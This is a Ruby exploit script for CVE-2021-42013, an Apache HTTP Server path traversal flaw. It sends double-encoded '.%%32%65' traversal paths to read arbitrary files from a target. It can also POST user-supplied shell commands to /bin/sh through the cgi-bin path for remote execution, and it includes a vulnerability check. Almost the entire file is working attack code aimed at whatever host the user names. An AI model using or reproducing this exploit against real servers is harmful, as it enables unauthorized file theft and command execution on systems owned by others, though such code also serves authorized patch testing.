#!/usr/bin/env ruby
# frozen_string_literal: true

##
# This script exploits CVE-2021-42013 to print file or/and execute command.

###################
#    This script exploits CVE-2021-42013 to print file or/and execute command.
#    Copyright (C) 2022  Maurice Lambert

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.

#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.

#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <https://www.gnu.org/licenses/>.
###################

##
# Project version
VERSION = '1.0.0'

##
# Project author
AUTHOR = 'Maurice Lambert'

##
# E-mail of the author of the project
AUTHOR_EMAIL = 'mauricelambert434@gmail.com'

##
# Project maintainer
MAINTAINER = 'Maurice Lambert'

##
# E-mail of the maintainer of the project
MAINTAINER_EMAIL = 'mauricelambert434@gmail.com'

##
# Project description
DESCRIPTION = '
This script exploits CVE-2021-42013 to print file or/and execute command.
'

##
# Project license
LICENSE = 'GPL-3.0 License'

##
# Project url
URL = 'https://github.com/mauricelambert/CVE-2021-42013'

##
# Project copyright
COPYRIGHT = '
CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
'

puts "#{COPYRIGHT}\n"

require 'net/http'
require 'optparse'
require 'ostruct'

##
# This class implements methods to exploit CVE-2021-42013
# to print file or/and execute command with ruby.
class CVE202142013
  ##
  # This function gets target host from the STDIN

  def self.get_stdin_host
    print 'Host (target): '
    gets.strip
  end

  ##
  # This function generates a random path

  def self.generate_random_path
    characters = Array('A'..'Z') + Array('a'..'z')
    files = []
    Array(1..4).sample.times do
      files.push(Array.new(Array(2..7).sample) { characters.sample }.join)
    end
    files.join('/')
  end

  ##
  # This function parse command line arguments

  def self.parse_args
    options = OpenStruct.new
    options.output = $stdout
    options.path = '/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65'

    OptionParser.new do |opt|
      opt.on(
        '-c',
        '--commands COMMAND1;COMMAND2;...',
        'A list of semicolon-separate commands.'
      ) do |commands|
        options.commands = commands
        options.path = (
          '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
        )
      end
      opt.on(
        '-f', '--file FILENAME', 'A file to print'
      ) do |filename|
        options.file = filename
        options.path += if filename[0] == '/'
                          filename
                        else
                          "/#{filename}"
                        end
      end
      opt.on(
        '-o',
        '--output FILENAME',
        'A output file to write file or command output'
      ) { |filename| options.output = File.new(filename, 'w') }
    end.parse!

    options.host = ARGV[0] || get_stdin_host
    options
  end

  ##
  # The main function to launch the attack

  def self.main
    arguments = parse_args

    base_url = "http://#{arguments.host}"
    uri = URI("http://#{arguments.host}")
    url = "#{base_url}#{arguments.path}"
    response = nil

    if arguments.commands
      request = Net::HTTP::Post.new(url)
      request.body = "echo Content-Type: text/plain;echo;#{arguments.commands}"
    elsif arguments.file
      request = Net::HTTP::Get.new(url)
    else
      request = Net::HTTP::Get.new("#{url}/#{generate_random_path}")
    end

    Net::HTTP.start(
      uri.hostname, uri.port,
      use_ssl: uri.scheme == 'https'
    ) { |http| response = http.request(request) }

    detect_only = (arguments.commands.nil? and arguments.file.nil?)
    bad_payload = (response.code == '403' or response.code == '404')
    good_payload = (response.code == '200')
    not_vulnerable = (response.code == '400')

    if (detect_only && bad_payload) || good_payload
      puts "[+] Target: #{arguments.host} is vulnerable"

      arguments.output.write(response.body) unless detect_only

      0
    elsif bad_payload
      puts(
        "[-] Target: #{arguments.host} is vulnerable but this payload is not" \
        " working (HTTP error #{response.code})."
      )
      2
    elsif not_vulnerable
      puts "[-] Target: #{arguments.host} is not vulnerable"
      1
    else
      puts "[-] Target: #{arguments.host} status unknown " \
           "(HTTP error #{response.code})."
      127
    end
  end
end

exit(CVE202142013.main) if __FILE__ == $PROGRAM_NAME
